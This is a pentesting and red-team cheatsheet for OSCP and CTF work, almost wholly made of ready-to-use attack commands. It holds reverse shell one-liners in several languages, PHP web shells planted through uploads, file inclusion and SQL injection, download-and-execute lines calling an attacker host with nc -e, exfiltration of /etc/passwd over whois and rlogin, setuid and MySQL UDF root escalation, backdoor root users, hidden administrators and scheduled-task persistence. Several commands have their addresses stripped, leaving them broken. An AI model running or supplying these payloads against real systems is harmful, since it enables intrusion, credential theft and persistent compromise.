Pentesting Cheatsheets

Convenient commands for your pentesting / red-teaming engagements, OSCP and CTFs.

Reconnaissance / Enumeration

Extracting Live IPs from Nmap Scan

nmap --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips

Simple Port Knocking

for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x; done

DNS lookups, Zone Transfers & Brute-Force

dig {a|txt|ns|mx}
dig {a|txt|ns|mx}
host -t {a|txt|ns|mx}
host -a
host -l
dnsrecon -d -t axfr
nslookup -> set type=any -> ls -d
for sub in $(cat subdomains.txt);do host $|grep "has.address";done
nc -v $TARGET 80
telnet $TARGET 80
curl -vX $TARGET

NFS Exported Shares

List NFS exported shares:

showmount -e

...and check if 'rw,no_root_squash' is present. If it is present, compile the below sid-shell.c:

#include <unistd.h>

main( int argc, char ** argv, char ** envp )
    setgid(0); setuid(0); system("/bin/bash", argv, envp);
    return 0;

...upload it to the share and execute the below to launch sid-shell to spawn a root shell:

chown root:root sid-shell; chmod +s sid-shell; ./sid-shell

Kerberos Enumeration

# users
nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

HTTP Brute-Force & Vulnerability Scanning

target=; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster
target=; nikto -h http://$target:80 | tee $target-nikto
target=; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum

RPC / NetBios / SMB

rpcinfo -p $TARGET
nbtscan $TARGET

#list shares
smbclient -L //$TARGET -U ""

# null session
rpcclient -U "" $TARGET
smbclient -L //$TARGET
enum4linux $TARGET


# Windows User Accounts
snmpwalk -c public -v1 $TARGET

# Windows Running Programs
snmpwalk -c public -v1 $TARGET

# Windows Hostname
snmpwalk -c public -v1 $TARGET .

# Windows Share Information
snmpwalk -c public -v1 $TARGET

# Windows Share Information
snmpwalk -c public -v1 $TARGET

# Windows TCP Ports
snmpwalk -c public -v1 $TARGET4

# Software Name
snmpwalk -c public -v1 $TARGET

# brute-force community strings
onesixtyone -i snmp-ips.txt -c community.txt

snmp-check $TARGET


smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150

Active Directory

# current domain info

# domain trusts

# current forest info

# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

# get DCs of a domain
nltest /dclist:offense.local
net group "domain controllers" /domain

# get DC for currently authenticated session
nltest /dsgetdc:offense.local

# get domain trusts from cmd shell
nltest /domain_trusts

# get user info
nltest /user:"spotless"

# get DC for currently authenticated session
set l

# get domain name and DC the user authenticated to

# get all logon sessions. Includes NTLM authenticated sessions
klist sessions

# kerberos tickets for the session

# cached krbtgt
klist tgt

# whoami on older Windows systems
set u

# find DFS shares with ADModule
Get-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=offense,DC=local" | select name

# find DFS shares with ADSI
$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,DC=offense,DC=local"; $s.FindAll() | % {$}

# check if spooler service is running on a host
powershell ls "\\dc01\pipe\spoolss"

Listen on a port (Powershell)

# Start listener on port 443
$listener = [System.Net.Sockets.TcpListener]443; $listener.Start();
    $client = $listener.AcceptTcpClient();
    Write-Host $client.client.RemoteEndPoint "connected!";
    start-sleep -seconds 1;

Gaining Access

Reverse Shell One-Liners


bash -i >& /dev/tcp/ 0>&1


perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

URL-Encoded Perl: Linux



python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat without -e #1

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 1234 > /tmp/f

Netcat without -e #2

nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444


r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();


xterm -display


print new java.lang.String(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())

Working with Restricted Shells

# rare cases
ssh bill@localhost ls -l /tmp
nice /bin/bash

Interactive TTY Shells

/usr/bin/expect sh
python -c ‘import pty; pty.spawn(“/bin/sh”)
# execute one command with su as another user if you do not have access to the shell. Credit to
python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);,1024);os.write(master,"fruity\n");time.sleep(0.1);print,1024);'

Uploading/POSTing Files Through WWW Upload Forms

# POST file
curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie"

# POST binary data to web form
curl -F "field=<" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v

PUTing File on the Webhost via PUT verb

curl -X PUT -d '<?php system($_GET["c"]);?>'

Generating Payload Pattern & Calculating Offset

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE

Bypassing File Upload Restrictions

  • file.php -> file.jpg

  • file.php -> file.php.jpg

  • file.asp -> file.asp;.jpg

  • file.gif (contains php code, but starts with string GIF/GIF98)

  • 00%

  • file.jpg with php backdoor in exif (see below)

  • .jpg -> proxy intercept -> rename to .php

Injecting PHP into JPEG

exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
exiftool “-comment<=back.php” back.png

Uploading .htaccess to interpret .blah as .php

AddType application/x-httpd-php .blah

Cracking Passwords

Cracking Web Forms with Hydra

hydra http-post-form -L /usr/share/wordlists/list "/endpoint/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list

Cracking Common Protocols with Hydra

hydra -l username -P /usr/share/wordlists/list ftp|ssh|smb://

HashCat Cracking

# Bruteforce based on the pattern;
hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout  

# Generate password candidates: wordlist + pattern;
hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout

# Generate NetNLTMv2 with internalMonologue and crack with hashcat
InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800
# resulting hash

# crack with hashcat
hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable

Generating Payload with msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai

Compiling Code From Linux

# Windows
i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe

# Linux
gcc -m32|-m64 -o output source.c

Compiling Assembly from Windows

nasm -f win64 .\hello.asm -o .\hello.obj

GoLink.exe -o .\hello.exe .\hello.obj

Local File Inclusion to Shell

nc 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Connection: close

# Then send as cmd payload via

Local File Inclusion: Reading Files

    POST: <?php system($_GET['cmd']); ?>
    POST: <?php system('uname -a');die(); ?>


# ZIP Wrapper
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.php;   
mv shell.jpg;

# Loop through file descriptors
curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output -

Remote File Inclusion Shell: Windows + PHP

<?php system("powershell -Command \"& {(New-Object System.Net.WebClient).DownloadFile('','nc.exe'); cmd /c nc.exe 4444 -e cmd.exe\" }"); ?>

SQL Injection to Shell or Backdoor

# Assumed 3 columns
http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['cmd']);?>",2,3 INTO OUTFILE "c:/evil.php"-- uMj
# sqlmap; post-request - captured request via Burp Proxy via Save Item to File.
sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10
# netcat reverse shell via mssql injection when xp_cmdshell is available

SQLite Injection to Shell or Backdoor

ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn; 
INSERT INTO (code) VALUES ('<?php system($_REQUEST['cmd']);?>');

MS-SQL Console -port 27900 user:password@
sqsh -S -U user -P password

Upgradig Non-Interactive Shell

python -c 'import pty; pty.spawn("/bin/sh")'
/bin/busybox sh

Python Input Code Injection


Local Enumeration & Privilege Escalation

Check AppLocker Policies

Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\

Applocker: Writable Windows Directories

# list from
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)

Find Writable Files/Folders in Windows

$a = Get-ChildItem "c:\windows\" -recurse -ErrorAction SilentlyContinue
$a | % {
    $fileName = $_.fullname
    $acls = get-acl $fileName  -ErrorAction SilentlyContinue | select -exp access | ? {$_.filesystemrights -match "full|modify|write" -and $_.identityreference -match "authenticated users|everyone|$env:username"}
    if($acls -ne $null)
            filename = $fileName
            user = $acls | select -exp identityreference

Check if Powershell Logging is Enabled

reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription

Check WinEvent Logs for SecureString Exposure

Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Select-Object -Property Message | Select-String -Pattern 'SecureString'

Check WinEvent for Machine Wake/Sleep times

Get-WinEvent -FilterHashTable @{ ProviderName = 'Microsoft-Windows-Power-TroubleShooter'  ; Id = 1 }|Select-Object -Property @{n='Sleep';e={$_.Properties[0].Value}},@{n='Wake';e={$_.Properties[1].Value}}

Audit Policies

auditpol /get /category:*

Check if LSASS is running in PPL

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL

Binary Exploitation with ImmunityDebugger

Get Loaded Modules

# We're interested in modules without protection, Read & Execute permissions
!mona modules

Finding JMP ESP Address

!mona find -s "\xFF\xE4" -m moduleName

Cracking a ZIP Password

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt

Setting up Simple HTTP server

# Linux
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -r webrick -e " => 80, :DocumentRoot => Dir.pwd).start"
php -S

MySQL User Defined Fuction Privilge Escalation

Requires raptor_udf2.c and sid-shell.c or full raptor.tar:

gcc -g -shared -Wl,-soname, -o raptor_udf2.o -lc
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/'));
select * from npn into dumpfile '/usr/lib/';
create function do_system returns integer soname '';
select do_system('chown root:root /tmp/sid-shell; chmod +s /tmp/sid-shell');

Docker Privilege Esclation

echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile && docker build -t my-docker-image . && docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' && ./sh -c id && ./sh

Resetting root Password

echo "root:spotless" | chpasswd

Uploading Files to Target Machine


#TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftp
service atftpd start

# Windows
tftp -i $ATTACKER get /download/location/file /save/location/file


# Linux: set up ftp server with anonymous logon access;
twistd -n ftp -p 21 -r /file/to/serve

# Windows shell: read FTP commands from ftp-commands.txt non-interactively;
echo open $ATTACKER>ftp-commands.txt
echo anonymous>>ftp-commands.txt
echo whatever>>ftp-commands.txt
echo binary>>ftp-commands.txt
echo get file.exe>>ftp-commands.txt
echo bye>>ftp-commands.txt 
ftp -s:ftp-commands.txt

# Or just a one-liner
(echo open anonymous&echo whatever&echo binary&echo get nc.exe&echo bye) > ftp.txt & ftp -s:ftp.txt & nc.exe 443 -e cmd


certutil.exe -urlcache -f bad.exe


<?php file_put_contents("/var/tmp/shell.php", file_get_contents("")); ?>


python -c "from urllib import urlretrieve; urlretrieve('', 'C:\\Temp\\nc.exe')"

HTTP: Powershell

powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" }
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'"
powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe');

# download using default proxy credentials and launch
powershell -command { $b=New-Object System.Net.WebClient; $b.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $b.DownloadString("http://$attacker/nc.exe") | Out-File nc.exe; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }

HTTP: VBScript

Copy and paste contents of wget.vbs into a Windows Shell and then:

cscript wget.vbs http://$ATTACKER/file.exe localfile.exe

HTTP: Linux

wget http://$ATTACKER/file
curl http://$ATTACKER/file -O
scp ~/file/file.bin user@$TARGET:tmp/


# Attacker
nc -l -p 4444 < /tool/file.exe

# Victim
nc $ATTACKER 4444 > file.exe

HTTP: Windows "debug.exe" Method

# 1. In Linux, convert binary to hex ascii:
wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt
# 2. Paste nc.txt into Windows Shell.

HTTP: Windows BitsAdmin

cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe

Wscript Script Code Download & Execution

echo GetObject("script:") > code.js && wscript.exe code.js

Whois Data Exfiltration

# attacker
nc -l -v -p 43 | sed "s/ //g" | base64 -d
# victim
whois -h $attackerIP -p 43 `cat /etc/passwd | base64`

Cancel Data Exfiltration

cancel -u "$(cat /etc/passwd)" -h ip:port

rlogin Data Exfiltration

rlogin -l "$(cat /etc/passwd)" -p port host

Bash Ping Sweeper

for lastOctet in {1..254}; do 
    ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &

Brute-forcing XOR'ed string with 1 byte key in Python

encrypted = "encrypted-string-here"
for i in range(0,255):
    print("".join([chr(ord(e) ^ i) for e in encrypted]))

Generating Bad Character Strings

# Python
'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])
# Bash
for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"

Converting Python to Windows Executable (.py -> .exe)

python --onefile

Port Scanning with NetCat

nc -nvv -w 1 -z host 1000-2000
nc -nv -u -z -w 1 host 160-162

Port Scanning with Masscan

masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000 -e tun0

Exploiting Vulnerable Windows Services: Weak Service Permissions

# Look for SERVICE_ALL_ACCESS in the output
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

sc config [service_name] binpath= "C:\nc.exe 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
sc qc [service_name] (to verify!)
sc start [service_name]

Find File/Folder Permissions Explicitly Set for a Given User

icacls.exe C:\folder /findsid userName-or-*sid /t
//look for (F)ull, (M)odify, (W)rite

AlwaysInstallElevated MSI

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Stored Credentials: Windows

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b 
dir c:\ /s /b | findstr /si *vnc.ini

findstr /si password *.txt | *.xml | *.ini
findstr /si pass *.txt | *.xml | *.ini
dir /s *cred* == *pass* == *.conf

# Windows Autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

reg query "HKCU\Software\ORL\WinVNC3\Password"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Registry
reg query HKLM /f password /t REG_SZ /s 
reg query HKCU /f password /t REG_SZ /s

Unquoted Service Path

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" |findstr /i /v """

Persistence via Services

# cmd
sc create spotlessSrv binpath= "C:\nc.exe 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""

# powersehll
New-Service -Name EvilName -DisplayName EvilSvc -BinaryPathName "'C:\Program Files\NotEvil\back.exe'" -Description "Not at all"

Port Forwarding / SSH Tunneling

SSH: Local Port Forwarding

# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
ssh -L user@SSH_SERVER

SSH: Dynamic Port Forwarding

# Listen on local port 8080. Incoming traffic to forwards it to final destination via SSH_SERVER
# Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box;
ssh -D user@SSH_SERVER

SSH: Remote Port Forwarding

# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
# Scenario: expose RDP on non-routable network;
ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP

Proxy Tunnel

# Open a local port Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128
# Scenario: a remote host has SSH running, but it's only bound to, but you want to reach it;
proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555
ssh user@ -p 5555

HTTP Tunnel: SSH Over HTTP

# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22
hts -F localhost:22 80

# Client - open port 8080. Redirect all incoming traffic to localhost:8080 to
htc -F 8080

# Client - connect to localhost:8080 -> get tunneled to -> get redirected to
ssh localhost -p 8080

Netsh - Windows Port Forwarding

# requires admin
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport

RunAs / Start Process As


# Requires PSRemoting
$username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami }

# without PSRemoting
cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force))

# without PS Remoting, with arguments
cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))"


# Requires interactive console
runas /user:userName cmd.exe


psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 80 -e cmd.exe


pth-winexe -U user%pass --runas=user%pass // cmd.exe

Recursively Find Hidden Files: Windows

dir /A:H /s "c:\program files"
# Query the local db for a quick file find. Run updatedb before executing locate.
locate passwd 

# Show which file would be executed in the current environment, depending on $PATH environment variable;
which nc wget curl php perl python netcat tftp telnet ftp

# Search for *.conf (case-insensitive) files recursively starting with /etc;
find /etc -iname *.conf

Post-Exploitation & Maintaining Access

Browsing Registry Hives

hivesh /registry/file

Decrypting RDG Passwords

Remote Desktop Connection Manager passwords can be decrypted on the same computer/account they were encrypted:

Copy-Item 'C:\Program Files (x86)\Microsoft\Remote Desktop Connection Manager\RDCMan.exe C:\temp\RDCMan.dll’
Import-Module C:\temp\RDCMan.dll
$EncryptionSettings = New-Object -TypeName RdcMan.EncryptionSettings
[RdcMan.Encryption]::DecryptString($PwdString, $EncryptionSettings)

Decrypting VNC Password

wine vncpwdump.exe -k key

Creating User and Adding to Local Administrators

net user spotless spotless /add & net localgroup Administrators spotless /add

Hide Newly Created Local administrator

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v spotless /d 0 /f

Creating SSH Authorized Keys

mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 root@kali' >> /root/.ssh/authorized_keys

Creating Backdoor User w/o Password

echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd

# Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali"
sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2

Creating Another root User

useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser

Generating OpenSSL Password

openssl passwd -1 password 
# output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5.

Persistent Back Doors

# Launch evil.exe every 10 minutes
schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.exe

Code Execution / Application Whitelist Bypass


rundll32 c:\windows\system32\ieframe.dll,OpenURL c:\temp\test.url

This was inspired by and forked/adapted/updated from Dostoevsky's Pentest Notes.

Last updated